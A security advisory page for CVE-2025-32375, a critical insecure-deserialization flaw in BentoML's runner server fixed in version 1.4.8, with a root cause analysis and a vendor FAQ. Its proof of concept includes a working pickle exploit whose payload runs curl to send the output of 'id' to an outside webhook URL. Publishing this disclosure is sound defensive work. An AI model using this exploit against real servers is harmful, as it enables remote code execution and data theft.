CVE-2025-32375

There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.

PoC

• First, create a file named model.py to create a simple model and save it

import bentoml
import numpy as np

class mymodel:
    def predict(self, info):
        return np.abs(info)
    def __call__(self, info):
        return self.predict(info)

model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)

• Then run the following command to save this model

python3 model.py

• Next, create bentofile.yaml to build this model

service: "service.py"  
description: "A model serving service with BentoML"  
python:
  packages:
    - bentoml
    - numpy
models:
  - tag: MyModel:latest  
include:
  - "*.py"  

• Then, create service.py to host this model

import bentoml
from bentoml.io import NumpyNdarray
import numpy as np


model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()

svc = bentoml.Service("myservice", runners=[model_runner])

async def predict(input_data: np.ndarray):

    input_columns = np.split(input_data, input_data.shape[1], axis=1)
    result_generator = model_runner.async_run(input_columns, is_stream=True)
    async for result in result_generator:
        yield result

• Then, run the following commands to build and host this model

bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888

• Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.

import requests
import pickle

url = "http://0.0.0.0:8888/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer", 
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}

class P:
    def __reduce__(self):
        return  (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))

response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response)

And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working.
After running exploit.py then the output of the command id will be send out to the WebHook server.

Root Cause Analysis:

• When handling a request in BentoML runner server in src/bentoml/_internal/server/runner_app.py, when the request header args-number is equal to 1, it will call the function _deserialize_single_param like the code below:

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
    assert self._is_ready

    arg_num = int(request.headers["args-number"])
    r_: bytes = await request.body()

    if arg_num == 1:
        params: Params[t.Any] = _deserialize_single_param(request, r_)

• Then this is the function of _deserialize_single_param, which will take the value of all request headers of Payload-Container, Payload-Meta and Batch-Size and the crafted into Payload class which will contain the data from request.body

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
    container = request.headers["Payload-Container"]
    meta = json.loads(request.headers["Payload-Meta"])
    batch_size = int(request.headers["Batch-Size"])
    kwarg_name = request.headers.get("Kwarg-Name")
    payload = Payload(
        data=bs,
        meta=meta,
        batch_size=batch_size,
        container=container,
    )
    if kwarg_name:
        d = {kwarg_name: payload}
        params: Params[t.Any] = Params(**d)
    else:
        params: Params[t.Any] = Params(payload)

    return params

• After crafting Params containing payload, it will call to function infer with params variable as input

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L303-L304
try:
  payload = await infer(params)

• Inside function infer, the params variable with is belong to class Params will call the function map of that class with AutoContainer.from_payload as a parameter.

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L278-L289
async def infer(params: Params[t.Any]) -> Payload:
      params = params.map(AutoContainer.from_payload)

      try:
          ret = await runner_method.async_run(
              *params.args, **params.kwargs
          )
      except Exception:
          traceback.print_exc()
          raise

      return AutoContainer.to_payload(ret, 0)

• Inside class Params define the function map which will call the AutoContainer.from_payload function with arguments, which are data, meta, batch_size and container

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/utils.py#L59-L66
def map(self, function: t.Callable[[T], To]) -> Params[To]:
    """
    Apply a function to all the values in the Params and return a Params of the
    return values.
    """
    args = tuple(function(a) for a in self.args)
    kwargs = {k: function(v) for k, v in self.kwargs.items()}
    return Params[To](*args, **kwargs)

• Inside class AutoContainer class have defined the function from_payload which will find the class by the payload.container , which is the value of header Payload-Container, and it will call the function from_payload from the chosen class as return value

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L710-L712
def from_payload(cls, payload: Payload) -> t.Any:
    container_cls = DataContainerRegistry.find_by_name(payload.container)
    return container_cls.from_payload(payload)

And if the attacker set value of header Payload-Container to NdarrayContainer or PandasDataFrameContainer, it will call from_payload and when it then check if the payload.meta["format"] == "default" it will call pickle.loads(payload.data) and payload.meta["format"] is the value of header Payload-Meta and the attacker can set it to {"format": "default"} and payload.data is the value of request.body which is the payload from malicious class P in my request, which will trigger __reduce__ method and then execute arbitrary commands (for my example is the curl command)

https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L411-L416
def from_payload(
    cls,
    payload: Payload,
) -> ext.PdDataFrame:
    if payload.meta["format"] == "default":
        return pickle.loads(payload.data)
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/runner/container.py#L306-L312
def from_payload(
    cls,
    payload: Payload,
) -> ext.NpNDArray:
    format = payload.meta.get("format", "default")
    if format == "default":
        return pickle.loads(payload.data)

In the above Proof of Concept, I have shown how the attacker can execute command id and send the output of the command to the outside. By replacing id command with any OS commands, this insecure deserialization in BentoML's runner server will grant the attacker the permission to gain the remote shell on the server and injecting backdoors to persist access.

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2025-32375 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-32375? CVE-2025-32375 is a critical-severity insecure deserialization vulnerability in bentoml (pip), affecting versions >= 1.0.0a1, < 1.4.8. It is fixed in 1.4.8. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is CVE-2025-32375? CVE-2025-32375 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of bentoml are affected by CVE-2025-32375? bentoml (pip) versions >= 1.0.0a1, < 1.4.8 is affected.
4. Is there a fix for CVE-2025-32375? Yes. CVE-2025-32375 is fixed in 1.4.8. Upgrade to this version or later.
5. Is CVE-2025-32375 exploitable, and should I be worried? Whether CVE-2025-32375 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-32375 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-32375? Upgrade bentoml to 1.4.8 or later.